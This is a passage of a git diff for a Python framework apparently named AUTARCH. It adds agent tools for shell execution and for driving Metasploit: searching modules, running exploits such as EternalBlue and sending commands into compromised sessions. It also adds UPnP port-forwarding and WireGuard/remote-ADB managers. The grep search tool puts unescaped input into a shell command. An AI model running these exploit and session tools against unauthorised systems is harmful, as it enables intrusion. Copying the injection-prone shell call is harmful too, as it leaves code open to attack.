function=self._tool_msf_connect, + parameters=[ + ToolParameter("password", "MSF RPC password (uses saved if not provided)", "string", False), + ], + category="msf" + )) + + self.register(Tool( + name="msf_search", + description="Search for Metasploit modules by keyword.", + function=self._tool_msf_search, + parameters=[ + ToolParameter("query", "Search query (e.g., 'smb', 'apache', 'cve:2021')", "string", True), + ], + category="msf" + )) + + self.register(Tool( + name="msf_module_info", + description="Get detailed information about a Metasploit module.", + function=self._tool_msf_module_info, + parameters=[ + ToolParameter("module_type", "Module type: exploit, auxiliary, post, payload", "string", True), + ToolParameter("module_name", "Module name (e.g., 'windows/smb/ms17_010_eternalblue')", "string", True), + ], + category="msf" + )) + + self.register(Tool( + name="msf_module_options", + description="Get available options for a Metasploit module.", + function=self._tool_msf_module_options, + parameters=[ + ToolParameter("module_type", "Module type: exploit, auxiliary, post, payload", "string", True), + ToolParameter("module_name", "Module name", "string", True), + ], + category="msf" + )) + + self.register(Tool( + name="msf_execute", + description="Execute a Metasploit module with specified options.", + function=self._tool_msf_execute, + parameters=[ + ToolParameter("module_type", "Module type: exploit, auxiliary, post", "string", True), + ToolParameter("module_name", "Module name", "string", True), + ToolParameter("options", "JSON object of module options (e.g., {\"RHOSTS\": \"192.168.1.1\"})", "string", True), + ], + category="msf" + )) + + self.register(Tool( + name="msf_sessions", + description="List active Metasploit sessions.", + function=self._tool_msf_sessions, + parameters=[], + category="msf" + )) + + self.register(Tool( + name="msf_session_command", + description="Execute a command in a Metasploit session.", + function=self._tool_msf_session_command, + parameters=[ + ToolParameter("session_id", "Session ID", "string", True), + ToolParameter("command", "Command to execute", "string", True), + ], + category="msf" + )) + + self.register(Tool( + name="msf_console", + description="Run a command in the Metasploit console.", + function=self._tool_msf_console, + parameters=[ + ToolParameter("command", "Console command to run", "string", True), + ], + category="msf" + )) + + # Built-in tool implementations + + def _tool_shell(self, command: str, timeout: int = 30) -> str: + """Execute a shell command.""" + try: + result = subprocess.run( + command, + shell=True, + capture_output=True, + text=True, + timeout=timeout + ) + output = result.stdout + if result.stderr: + output += f"\n[stderr]: {result.stderr}" + if result.returncode != 0: + output += f"\n[exit code]: {result.returncode}" + return output.strip() or "[no output]" + except subprocess.TimeoutExpired: + return f"[error]: Command timed out after {timeout} seconds" + except Exception as e: + return f"[error]: {str(e)}" + + def _tool_read_file(self, path: str, max_lines: int = None) -> str: + """Read a file's contents.""" + path = Path(path).expanduser() + if not path.exists(): + raise FileNotFoundError(f"File not found: {path}") + if not path.is_file(): + raise ValueError(f"Not a file: {path}") + + with open(path, 'r', errors='replace') as f: + if max_lines: + lines = [] + for i, line in enumerate(f): + if i >= max_lines: + lines.append(f"... [{path.stat().st_size} bytes total, truncated at {max_lines} lines]") + break + lines.append(line.rstrip()) + return '\n'.join(lines) + else: + return f.read() + + def _tool_write_file(self, path: str, content: str) -> str: + """Write content to a file.""" + path = Path(path).expanduser() + path.parent.mkdir(parents=True, exist_ok=True) + with open(path, 'w') as f: + f.write(content) + return f"Successfully wrote {len(content)} bytes to {path}" + + def _tool_list_dir(self, path: str = ".", show_hidden: bool = False) -> str: + """List directory contents.""" + path = Path(path).expanduser() + if not path.exists(): + raise FileNotFoundError(f"Directory not found: {path}") + if not path.is_dir(): + raise ValueError(f"Not a directory: {path}") + + entries = [] + for entry in sorted(path.iterdir()): + if not show_hidden and entry.name.startswith('.'): + continue + prefix = "d " if entry.is_dir() else "f " + entries.append(f"{prefix}{entry.name}") + + return '\n'.join(entries) if entries else "[empty directory]" + + def _tool_search_files(self, pattern: str, path: str = ".") -> str: + """Search for files matching a pattern.""" + path = Path(path).expanduser() + matches = list(path.glob(pattern)) + + if not matches: + return f"No files matching '{pattern}'" + + result = [] + for match in matches[:50]: # Limit results + result.append(str(match)) + + if len(matches) > 50: + result.append(f"... and {len(matches) - 50} more") + + return '\n'.join(result) + + def _tool_search_content(self, pattern: str, path: str = ".", file_pattern: str = None) -> str: + """Search for content in files.""" + try: + cmd = f"grep -rn '{pattern}' {path}" + if file_pattern: + cmd = f"grep -rn --include='{file_pattern}' '{pattern}' {path}" + + result = subprocess.run( + cmd, + shell=True, + capture_output=True, + text=True, + timeout=30 + ) + + output = result.stdout.strip() + if not output: + return f"No matches found for '{pattern}'" + + # Limit output + lines = output.split('\n') + if len(lines) > 30: + return '\n'.join(lines[:30]) + f"\n... and {len(lines) - 30} more matches" + return output + + except subprocess.TimeoutExpired: + return "[error]: Search timed out" + except Exception as e: + return f"[error]: {str(e)}" + + def _tool_task_complete(self, summary: str) -> str: + """Mark task as complete - this is a control signal.""" + return f"__TASK_COMPLETE__:{summary}" + + def _tool_ask_user(self, question: str) -> str: + """Ask user a question - handled by agent loop.""" + return f"__ASK_USER__:{question}" + + # Metasploit tool implementations + + def _tool_msf_connect(self, password: str = None) -> str: + """Connect to Metasploit RPC.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + try: + msf.connect(password) + version = msf.rpc.get_version() + return f"Connected to Metasploit {version.get('version', 'Unknown')}" + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_search(self, query: str) -> str: + """Search for Metasploit modules.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + results = msf.rpc.search_modules(query) + if not results: + return f"No modules found matching '{query}'" + + output = [] + for i, mod in enumerate(results[:20]): # Limit to 20 results + if isinstance(mod, dict): + name = mod.get('fullname', mod.get('name', 'Unknown')) + desc = mod.get('description', '')[:60] + output.append(f"{name}\n {desc}") + else: + output.append(str(mod)) + + if len(results) > 20: + output.append(f"\n... and {len(results) - 20} more results") + + return '\n'.join(output) + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_module_info(self, module_type: str, module_name: str) -> str: + """Get module information.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + info = msf.rpc.get_module_info(module_type, module_name) + output = [ + f"Name: {info.name}", + f"Type: {info.type}", + f"Rank: {info.rank}", + f"Description: {info.description[:200]}..." if len(info.description) > 200 else f"Description: {info.description}", + ] + if info.author: + output.append(f"Authors: {', '.join(info.author[:3])}") + return '\n'.join(output) + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_module_options(self, module_type: str, module_name: str) -> str: + """Get module options.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + options = msf.rpc.get_module_options(module_type, module_name) + output = [] + for name, details in options.items(): + if isinstance(details, dict): + required = "*" if details.get('required', False) else "" + default = details.get('default', '') + desc = details.get('desc', '')[:50] + output.append(f"{name}{required}: {desc} [default: {default}]") + else: + output.append(f"{name}: {details}") + return '\n'.join(output) if output else "No options available" + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_execute(self, module_type: str, module_name: str, options: str) -> str: + """Execute a Metasploit module.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + opts = json.loads(options) if isinstance(options, str) else options + except json.JSONDecodeError: + return "[error]: Invalid JSON in options parameter" + + try: + result = msf.rpc.execute_module(module_type, module_name, opts) + job_id = result.get('job_id') + uuid = result.get('uuid') + return f"Module executed. Job ID: {job_id}, UUID: {uuid}" + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_sessions(self) -> str: + """List active sessions.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + sessions = msf.rpc.list_sessions() + if not sessions: + return "No active sessions" + + output = [] + for sid, info in sessions.items(): + if isinstance(info, dict): + stype = info.get('type', 'Unknown') + target = info.get('target_host', 'Unknown') + user = info.get('username', '') + output.append(f"[{sid}] {stype} - {target} ({user})") + else: + output.append(f"[{sid}] {info}") + return '\n'.join(output) + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_session_command(self, session_id: str, command: str) -> str: + """Execute command in a session.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + msf.rpc.session_shell_write(session_id, command) + import time + time.sleep(1) # Wait for command execution + output = msf.rpc.session_shell_read(session_id) + return output if output else "[no output]" + except MSFError as e: + return f"[error]: {e}" + + def _tool_msf_console(self, command: str) -> str: + """Run a console command.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + if not msf.is_connected: + return "[error]: Not connected to Metasploit. Use msf_connect first." + + try: + output = msf.rpc.run_console_command(command) + return output if output else "[no output]" + except MSFError as e: + return f"[error]: {e}" + + +# Global tool registry +_registry: Optional[ToolRegistry] = None + + +def get_tool_registry() -> ToolRegistry: + """Get the global tool registry.""" + global _registry + if _registry is None: + _registry = ToolRegistry() + return _registry diff --git a/core/upnp.py b/core/upnp.py new file mode 100644 index 0000000..a206d36 --- /dev/null +++ b/core/upnp.py @@ -0,0 +1,274 @@ +""" +AUTARCH UPnP Manager +Manages UPnP port forwarding via miniupnpc (upnpc CLI) +""" + +import subprocess +import re +from pathlib import Path +from typing import List, Dict, Optional, Tuple + +from core.paths import find_tool + + +class UPnPManager: + """UPnP port forwarding manager wrapping the upnpc CLI.""" + + def __init__(self, config=None): + self.config = config + self._upnpc = find_tool('upnpc') + + def is_available(self) -> bool: + """Check if upnpc is installed.""" + return self._upnpc is not None + + def _run(self, args: list, timeout: int = 15) -> Tuple[bool, str]: + """Run upnpc with arguments and return (success, output).""" + if not self._upnpc: + return False, "upnpc not found. Install miniupnpc." + try: + result = subprocess.run( + [self._upnpc] + args, + capture_output=True, text=True, timeout=timeout + ) + output = result.stdout + result.stderr + return result.returncode == 0, output.strip() + except subprocess.TimeoutExpired: + return False, "Command timed out" + except Exception as e: + return False, str(e) + + def list_mappings(self) -> Tuple[bool, str]: + """List current UPnP port mappings.""" + return self._run(['-l']) + + def add_mapping(self, internal_ip: str, internal_port: int, + external_port: int, protocol: str, + description: str = "AUTARCH") -> Tuple[bool, str]: + """Add a UPnP port mapping. + + Args: + internal_ip: LAN IP to forward to + internal_port: Internal port number + external_port: External port number + protocol: TCP or UDP + description: Mapping description + """ + protocol = protocol.upper() + if protocol not in ('TCP', 'UDP'): + return False, "Protocol must be TCP or UDP" + return self._run([ + '-a', internal_ip, + str(internal_port), str(external_port), + protocol, '0', description + ]) + + def remove_mapping(self, external_port: int, protocol: str) -> Tuple[bool, str]: + """Remove a UPnP port mapping.""" + protocol = protocol.upper() + return self._run(['-d', str(external_port), protocol]) + + def get_external_ip(self) -> Tuple[bool, str]: + """Get the external IP via UPnP.""" + success, output = self._run(['-e']) + if success: + # Parse "ExternalIPAddress = x.x.x.x" from output + for line in output.splitlines(): + if 'ExternalIPAddress' in line: + parts = line.split('=') + if len(parts) >= 2: + return True, parts[-1].strip() + # If no specific line found, return raw output + return True, output + return False, output + + def refresh_all(self) -> List[Dict]: + """Re-add all configured port mappings. Returns list of results.""" + mappings = self.load_mappings_from_config() + internal_ip = self._get_internal_ip() + results = [] + + for mapping in mappings: + port = mapping['port'] + proto = mapping['protocol'] + desc = mapping.get('description', 'AUTARCH') + success, output = self.add_mapping( + internal_ip, port, port, proto, desc + ) + results.append({ + 'port': port, + 'protocol': proto, + 'success': success, + 'message': output + }) + + return results + + def _get_internal_ip(self) -> str: + """Get the configured internal IP.""" + if self.config: + return self.config.get('upnp', 'internal_ip', fallback='10.0.0.26') + return '10.0.0.26' + + def load_mappings_from_config(self) -> List[Dict]: + """Load port mappings from config file. + + Config format: mappings = 443:TCP,51820:UDP,8080:TCP + """ + if not self.config: + return [] + + mappings_str = self.config.get('upnp', 'mappings', fallback='') + if not mappings_str: + return [] + + mappings = [] + for entry in mappings_str.split(','): + entry = entry.strip() + if ':' in entry: + parts = entry.split(':') + try: + mappings.append({ + 'port': int(parts[0]), + 'protocol': parts[1].upper() + }) + except (ValueError, IndexError): + continue + return mappings + + def save_mappings_to_config(self, mappings: List[Dict]): + """Save port mappings to config file.""" + if not self.config: + return + + mappings_str = ','.join( + f"{m['port']}:{m['protocol']}" for m in mappings + ) + self.config.set('upnp', 'mappings', mappings_str) + self.config.save() + + # --- Cron Management --- + + def _get_autarch_path(self) -> str: + """Get the path to autarch.py.""" + from core.paths import get_app_dir + return str(get_app_dir() / 'autarch.py') + + def _get_cron_command(self) -> str: + """Get the cron command string for UPnP refresh.""" + autarch_path = self._get_autarch_path() + return f'/usr/bin/python3 {autarch_path} --upnp-refresh > /dev/null 2>&1' + + def get_cron_status(self) -> Dict: + """Check if UPnP cron job is installed. + + Returns: + Dict with 'installed' (bool), 'interval' (str), 'line' (str) + """ + try: + result = subprocess.run( + ['crontab', '-l'], + capture_output=True, text=True, timeout=5 + ) + if result.returncode != 0: + return {'installed': False, 'interval': None, 'line': None} + + for line in result.stdout.splitlines(): + if 'upnp-refresh' in line and not line.startswith('#'): + # Parse interval from cron expression + match = re.match(r'^\d+\s+\*/(\d+)', line) + interval = match.group(1) if match else '?' + return { + 'installed': True, + 'interval': f'{interval}h', + 'line': line.strip() + } + + return {'installed': False, 'interval': None, 'line': None} + except Exception: + return {'installed': False, 'interval': None, 'line': None} + + def install_cron(self, interval_hours: int = 12) -> Tuple[bool, str]: + """Install a crontab entry for periodic UPnP refresh. + + Args: + interval_hours: How often to refresh (in hours) + """ + # First remove any existing entry + self.uninstall_cron() + + cron_line = f'0 */{interval_hours} * * * {self._get_cron_command()}' + + try: + # Get current crontab + result = subprocess.run( + ['crontab', '-l'], + capture_output=True, text=True, timeout=5 + ) + existing = result.stdout if result.returncode == 0 else '' + + # Append new entry + new_crontab = existing.rstrip('\n') + '\n' + cron_line + '\n' + + # Install + proc = subprocess.run( + ['crontab', '-'], + input=new_crontab, capture_output=True, text=True, timeout=5 + ) + + if proc.returncode == 0: + # Save interval to config + if self.config: + self.config.set('upnp', 'refresh_hours', str(interval_hours)) + self.config.save() + return True, f"Cron job installed: every {interval_hours} hours" + else: + return False, proc.stderr + except Exception as e: + return False, str(e) + + def uninstall_cron(self) -> Tuple[bool, str]: + """Remove the UPnP refresh cron job.""" + try: + result = subprocess.run( + ['crontab', '-l'], + capture_output=True, text=True, timeout=5 + ) + if result.returncode != 0: + return True, "No crontab exists" + + # Filter out our line + lines = result.stdout.splitlines() + filtered = [l for l in lines if 'upnp-refresh' not in l] + + if len(lines) == len(filtered): + return True, "No UPnP cron job found" + + new_crontab = '\n'.join(filtered) + '\n' + + proc = subprocess.run( + ['crontab', '-'], + input=new_crontab, capture_output=True, text=True, timeout=5 + ) + + if proc.returncode == 0: + return True, "Cron job removed" + else: + return False, proc.stderr + except Exception as e: + return False, str(e) + + +# Singleton +_upnp_manager = None + + +def get_upnp_manager(config=None) -> UPnPManager: + """Get the global UPnP manager instance.""" + global _upnp_manager + if _upnp_manager is None: + if config is None: + from core.config import get_config + config = get_config() + _upnp_manager = UPnPManager(config) + return _upnp_manager diff --git a/core/wireguard.py b/core/wireguard.py new file mode 100644 index 0000000..3d83509 --- /dev/null +++ b/core/wireguard.py @@ -0,0 +1,858 @@ +""" +AUTARCH WireGuard VPN Manager +Server management, client/peer CRUD, remote ADB (TCP/IP + USB/IP). + +Integrates /home/snake/wg_setec/ functionality into the AUTARCH framework +with added remote ADB and USB/IP support for Android device management +over WireGuard tunnels. +""" + +import io +import json +import re +import subprocess +import time +import uuid +from datetime import datetime +from pathlib import Path +from typing import Optional, Dict, List, Any, Tuple + +from core.paths import get_data_dir, find_tool + + +class WireGuardManager: + """WireGuard VPN + Remote ADB manager.""" + + def __init__(self, config=None): + self._wg_bin = find_tool('wg') + self._wg_quick = find_tool('wg-quick') + self._usbip_bin = find_tool('usbip') + + self._data_dir = get_data_dir() / 'wireguard' + self._data_dir.mkdir(parents=True, exist_ok=True) + self._clients_file = self._data_dir / 'clients.json' + self._last_ip_file = self._data_dir / 'last_ip' + + # Config from autarch_settings.conf [wireguard] section + self._config = config or {} + self._wg_config_path = self._config.get('config_path', '/etc/wireguard/wg0.conf') + self._interface = self._config.get('interface', 'wg0') + self._subnet = self._config.get('subnet', '10.1.0.0/24') + self._server_address = self._config.get('server_address', '10.1.0.1') + self._listen_port = self._config.get('listen_port', '51820') + self._default_dns = self._config.get('default_dns', '1.1.1.1, 8.8.8.8') + self._default_allowed_ips = self._config.get('default_allowed_ips', '0.0.0.0/0, ::/0') + + # ── Helpers ────────────────────────────────────────────────────── + + def _run_wg(self, args, timeout=10): + """Run wg command, return (stdout, stderr, rc).""" + if not self._wg_bin: + return ('', 'wg binary not found', 1) + cmd = [self._wg_bin] + args + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return (proc.stdout, proc.stderr, proc.returncode) + except subprocess.TimeoutExpired: + return ('', 'Command timed out', 1) + except Exception as e: + return ('', str(e), 1) + + def _run_wg_sudo(self, args, timeout=10): + """Run wg command with sudo, return (stdout, stderr, rc).""" + if not self._wg_bin: + return ('', 'wg binary not found', 1) + cmd = ['sudo', self._wg_bin] + args + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return (proc.stdout, proc.stderr, proc.returncode) + except subprocess.TimeoutExpired: + return ('', 'Command timed out', 1) + except Exception as e: + return ('', str(e), 1) + + def _run_cmd(self, cmd, timeout=10, input_data=None): + """Run arbitrary command, return (stdout, stderr, rc).""" + try: + proc = subprocess.run( + cmd, capture_output=True, text=True, + timeout=timeout, input=input_data + ) + return (proc.stdout, proc.stderr, proc.returncode) + except subprocess.TimeoutExpired: + return ('', 'Command timed out', 1) + except Exception as e: + return ('', str(e), 1) + + def _load_clients(self): + """Load clients from JSON file.""" + if not self._clients_file.exists(): + return {} + try: + with open(self._clients_file, 'r') as f: + return json.load(f) + except (json.JSONDecodeError, OSError): + return {} + + def _save_clients(self, data): + """Save clients to JSON file.""" + with open(self._clients_file, 'w') as f: + json.dump(data, f, indent=2) + + def _get_server_public_key(self): + """Read server public key.""" + # Try file first + key_path = Path('/etc/wireguard/server_public.key') + if key_path.exists(): + try: + return key_path.read_text().strip() + except OSError: + pass + # Try wg show + stdout, _, rc = self._run_wg_sudo(['show', self._interface, 'public-key']) + if rc == 0 and stdout.strip(): + return stdout.strip() + return '' + + def _get_server_endpoint(self): + """Read server public IP/endpoint.""" + ip_path = Path('/etc/wireguard/server_public_ip') + if ip_path.exists(): + try: + return ip_path.read_text().strip() + except OSError: + pass + return '' + + def _adb_bin(self): + """Get ADB binary path.""" + return find_tool('adb') + + def _run_adb(self, args, timeout=30): + """Run ADB command, return (stdout, stderr, rc).""" + adb = self._adb_bin() + if not adb: + return ('', 'adb binary not found', 1) + cmd = [adb] + args + try: + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return (proc.stdout, proc.stderr, proc.returncode) + except subprocess.TimeoutExpired: + return ('', 'Command timed out', 1) + except Exception as e: + return ('', str(e), 1) + + # ── Server Management ──────────────────────────────────────────── + + def is_available(self): + """Check if wg binary exists.""" + return self._wg_bin is not None + + def get_server_status(self): + """Parse wg show for interface info.""" + stdout, stderr, rc = self._run_wg_sudo(['show', self._interface]) + if rc != 0: + return { + 'running': False, + 'interface': self._interface, + 'error': stderr.strip() if stderr else 'Interface not running', + } + + info = { + 'interface': self._interface, + 'running': True, + 'public_key': self._get_server_public_key(), + 'endpoint': f'{self._get_server_endpoint()}:{self._listen_port}', + 'listen_port': self._listen_port, + } + + for line in stdout.split('\n'): + line = line.strip() + if line.startswith('listening port:'): + info['listen_port'] = line.split(':', 1)[1].strip() + elif line.startswith('public key:'): + info['public_key'] = line.split(':', 1)[1].strip() + + # Count peers + peer_count = stdout.count('peer:') + info['peer_count'] = peer_count + + return info + + def start_interface(self): + """Start WireGuard interface with wg-quick.""" + if not self._wg_quick: + return {'ok': False, 'error': 'wg-quick not found'} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._wg_quick, 'up', self._interface], timeout=15) + if rc == 0: + return {'ok': True, 'message': f'{self._interface} started'} + # Already running is not an error + if 'already exists' in stderr: + return {'ok': True, 'message': f'{self._interface} already running'} + return {'ok': False, 'error': stderr.strip() or 'Failed to start'} + + def stop_interface(self): + """Stop WireGuard interface with wg-quick.""" + if not self._wg_quick: + return {'ok': False, 'error': 'wg-quick not found'} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._wg_quick, 'down', self._interface], timeout=15) + if rc == 0: + return {'ok': True, 'message': f'{self._interface} stopped'} + if 'is not a WireGuard interface' in stderr: + return {'ok': True, 'message': f'{self._interface} already stopped'} + return {'ok': False, 'error': stderr.strip() or 'Failed to stop'} + + def restart_interface(self): + """Restart WireGuard interface.""" + self.stop_interface() + time.sleep(1) + return self.start_interface() + + # ── Key Generation ─────────────────────────────────────────────── + + def generate_keypair(self): + """Generate WireGuard keypair. Returns (private_key, public_key).""" + priv_out, priv_err, priv_rc = self._run_wg(['genkey']) + if priv_rc != 0: + return (None, None) + private_key = priv_out.strip() + pub_out, pub_err, pub_rc = self._run_wg(['pubkey'], timeout=5) + # pubkey reads from stdin, need to pipe + proc = subprocess.run( + [self._wg_bin, 'pubkey'], input=private_key, + capture_output=True, text=True, timeout=5 + ) + if proc.returncode != 0: + return (None, None) + public_key = proc.stdout.strip() + return (private_key, public_key) + + def generate_preshared_key(self): + """Generate WireGuard preshared key.""" + stdout, _, rc = self._run_wg(['genpsk']) + if rc == 0: + return stdout.strip() + return None + + # ── IP Assignment ──────────────────────────────────────────────── + + def get_next_ip(self): + """Get next available client IP in the subnet.""" + try: + if self._last_ip_file.exists(): + last_octet = int(self._last_ip_file.read_text().strip()) + else: + last_octet = 1 + except (ValueError, OSError): + last_octet = 1 + + next_octet = last_octet + 1 + self._last_ip_file.write_text(str(next_octet)) + + # Extract subnet prefix (e.g. "10.1.0" from "10.1.0.0/24") + prefix = '.'.join(self._subnet.split('.')[:3]) + return f'{prefix}.{next_octet}' + + # ── Client/Peer Management ─────────────────────────────────────── + + def create_client(self, name, dns=None, allowed_ips=None): + """Create a new WireGuard client/peer.""" + private_key, public_key = self.generate_keypair() + if not private_key: + return {'ok': False, 'error': 'Failed to generate keypair'} + + preshared_key = self.generate_preshared_key() + assigned_ip = self.get_next_ip() + + client_id = str(uuid.uuid4())[:8] + client = { + 'id': client_id, + 'name': name, + 'private_key': private_key, + 'public_key': public_key, + 'preshared_key': preshared_key or '', + 'assigned_ip': assigned_ip, + 'dns': dns or self._default_dns, + 'allowed_ips': allowed_ips or self._default_allowed_ips, + 'enabled': True, + 'created_at': datetime.now().isoformat(), + } + + # Add to live WireGuard + try: + self._add_peer_to_wg(public_key, preshared_key, assigned_ip) + except Exception as e: + return {'ok': False, 'error': f'Failed to add peer to WG: {e}'} + + # Add to config file + try: + self._append_peer_to_config(public_key, preshared_key, assigned_ip, name) + except Exception as e: + pass # Non-fatal, peer is live + + # Save to JSON store + clients = self._load_clients() + clients[client_id] = client + self._save_clients(clients) + + return {'ok': True, 'client': client} + + def delete_client(self, client_id): + """Delete a client/peer.""" + clients = self._load_clients() + client = clients.get(client_id) + if not client: + return {'ok': False, 'error': 'Client not found'} + + # Remove from live WG + self._remove_peer_from_wg(client['public_key']) + + # Remove from config file + try: + self._remove_peer_from_config(client['public_key']) + except Exception: + pass + + # Remove from JSON + del clients[client_id] + self._save_clients(clients) + + return {'ok': True, 'message': f'Client {client["name"]} deleted'} + + def toggle_client(self, client_id, enabled): + """Enable or disable a client.""" + clients = self._load_clients() + client = clients.get(client_id) + if not client: + return {'ok': False, 'error': 'Client not found'} + + if enabled and not client.get('enabled', True): + # Re-add peer + self._add_peer_to_wg( + client['public_key'], client.get('preshared_key', ''), + client['assigned_ip']) + elif not enabled and client.get('enabled', True): + # Remove peer + self._remove_peer_from_wg(client['public_key']) + + client['enabled'] = enabled + self._save_clients(clients) + action = 'enabled' if enabled else 'disabled' + return {'ok': True, 'message': f'Client {client["name"]} {action}'} + + def get_all_clients(self): + """Get list of all clients.""" + clients = self._load_clients() + return list(clients.values()) + + def get_client(self, client_id): + """Get single client by ID.""" + clients = self._load_clients() + return clients.get(client_id) + + def get_peer_status(self): + """Parse wg show for per-peer stats. Returns dict keyed by public key.""" + stdout, _, rc = self._run_wg_sudo(['show', self._interface]) + if rc != 0: + return {} + + peers = {} + current_peer = None + + for line in stdout.split('\n'): + line = line.strip() + if line.startswith('peer:'): + current_peer = line.split(':', 1)[1].strip() + peers[current_peer] = { + 'public_key': current_peer, + 'latest_handshake': None, + 'latest_handshake_str': '', + 'transfer_rx': 0, + 'transfer_tx': 0, + 'transfer_rx_str': '', + 'transfer_tx_str': '', + 'allowed_ips': '', + 'endpoint': '', + } + elif current_peer: + if line.startswith('latest handshake:'): + hs_str = line.split(':', 1)[1].strip() + peers[current_peer]['latest_handshake'] = _parse_handshake(hs_str) + peers[current_peer]['latest_handshake_str'] = hs_str + elif line.startswith('transfer:'): + transfer = line.split(':', 1)[1].strip() + parts = transfer.split(',') + if len(parts) == 2: + peers[current_peer]['transfer_rx'] = _parse_transfer(parts[0].strip()) + peers[current_peer]['transfer_tx'] = _parse_transfer(parts[1].strip()) + peers[current_peer]['transfer_rx_str'] = parts[0].strip().replace('received', '').strip() + peers[current_peer]['transfer_tx_str'] = parts[1].strip().replace('sent', '').strip() + elif line.startswith('allowed ips:'): + peers[current_peer]['allowed_ips'] = line.split(':', 1)[1].strip() + elif line.startswith('endpoint:'): + peers[current_peer]['endpoint'] = line.split(':', 1)[1].strip() + + return peers + + def _add_peer_to_wg(self, public_key, preshared_key, allowed_ip): + """Add peer to live WireGuard interface.""" + if preshared_key: + stdout, stderr, rc = self._run_cmd( + ['sudo', self._wg_bin, 'set', self._interface, + 'peer', public_key, + 'preshared-key', '/dev/stdin', + 'allowed-ips', f'{allowed_ip}/32'], + input_data=preshared_key, timeout=10 + ) + else: + stdout, stderr, rc = self._run_wg_sudo( + ['set', self._interface, + 'peer', public_key, + 'allowed-ips', f'{allowed_ip}/32']) + if rc != 0: + raise RuntimeError(f'wg set failed: {stderr}') + + def _remove_peer_from_wg(self, public_key): + """Remove peer from live WireGuard interface.""" + self._run_wg_sudo( + ['set', self._interface, 'peer', public_key, 'remove']) + + def _append_peer_to_config(self, public_key, preshared_key, allowed_ip, name=''): + """Append [Peer] block to wg0.conf.""" + config_path = Path(self._wg_config_path) + if not config_path.exists(): + return + content = config_path.read_text() + timestamp = time.strftime('%c') + block = f'\n# Client: {name} - Added {timestamp}\n[Peer]\n' + block += f'PublicKey = {public_key}\n' + if preshared_key: + block += f'PresharedKey = {preshared_key}\n' + block += f'AllowedIPs = {allowed_ip}/32\n' + # Write via sudo tee + self._run_cmd( + ['sudo', 'tee', '-a', self._wg_config_path], + input_data=block, timeout=5) + + def _remove_peer_from_config(self, public_key): + """Remove [Peer] block from wg0.conf.""" + config_path = Path(self._wg_config_path) + if not config_path.exists(): + return + # Read via sudo + stdout, _, rc = self._run_cmd(['sudo', 'cat', self._wg_config_path]) + if rc != 0: + return + content = stdout + + lines = content.split('\n') + new_lines = [] + i = 0 + while i < len(lines): + line = lines[i] + # Check comment line preceding peer block + if line.strip().startswith('# Client:') and i + 1 < len(lines): + block_lines = [line] + j = i + 1 + while j < len(lines): + if (lines[j].strip() == '' or + (lines[j].strip().startswith('[') and lines[j].strip() != '[Peer]') or + lines[j].strip().startswith('# Client:')): + break + block_lines.append(lines[j]) + j += 1 + if public_key in '\n'.join(block_lines): + i = j + continue + elif line.strip() == '[Peer]': + block_lines = [line] + j = i + 1 + while j < len(lines): + if (lines[j].strip() == '' or + (lines[j].strip().startswith('[') and lines[j].strip() != '[Peer]') or + lines[j].strip().startswith('# Client:')): + break + block_lines.append(lines[j]) + j += 1 + if public_key in '\n'.join(block_lines): + i = j + continue + new_lines.append(line) + i += 1 + + cleaned = re.sub(r'\n{3,}', '\n\n', '\n'.join(new_lines)) + # Write back via sudo tee + self._run_cmd( + ['sudo', 'tee', self._wg_config_path], + input_data=cleaned, timeout=5) + + def import_existing_peers(self): + """Parse wg0.conf and import existing peers into JSON store.""" + stdout, _, rc = self._run_cmd(['sudo', 'cat', self._wg_config_path]) + if rc != 0: + return {'ok': False, 'error': 'Cannot read WG config', 'imported': 0} + + lines = stdout.split('\n') + peers = [] + current_peer = None + pending_name = None + + for line in lines: + stripped = line.strip() + name_match = re.match(r'# Client:\s*(.+?)(?:\s*-\s*Added|$)', stripped) + if name_match: + pending_name = name_match.group(1).strip() + continue + if stripped == '[Peer]': + current_peer = {'name': pending_name} + peers.append(current_peer) + pending_name = None + continue + if stripped.startswith('['): + current_peer = None + pending_name = None + continue + if current_peer is not None and '=' in stripped: + key, val = stripped.split('=', 1) + current_peer[key.strip()] = val.strip() + + clients = self._load_clients() + existing_keys = {c['public_key'] for c in clients.values()} + imported = 0 + + for peer in peers: + public_key = peer.get('PublicKey') + allowed_ip = peer.get('AllowedIPs', '').replace('/32', '') + preshared_key = peer.get('PresharedKey', '') + name = peer.get('name') or 'legacy-client' + + if not public_key or not allowed_ip: + continue + if public_key in existing_keys: + continue + + # Ensure unique name + existing_names = {c['name'] for c in clients.values()} + final_name = name + counter = 1 + while final_name in existing_names: + final_name = f'{name}-{counter}' + counter += 1 + + client_id = str(uuid.uuid4())[:8] + clients[client_id] = { + 'id': client_id, + 'name': final_name, + 'private_key': '', + 'public_key': public_key, + 'preshared_key': preshared_key, + 'assigned_ip': allowed_ip, + 'dns': self._default_dns, + 'allowed_ips': self._default_allowed_ips, + 'enabled': True, + 'created_at': datetime.now().isoformat(), + 'imported': True, + } + existing_keys.add(public_key) + imported += 1 + + self._save_clients(clients) + return {'ok': True, 'imported': imported} + + # ── Client Config 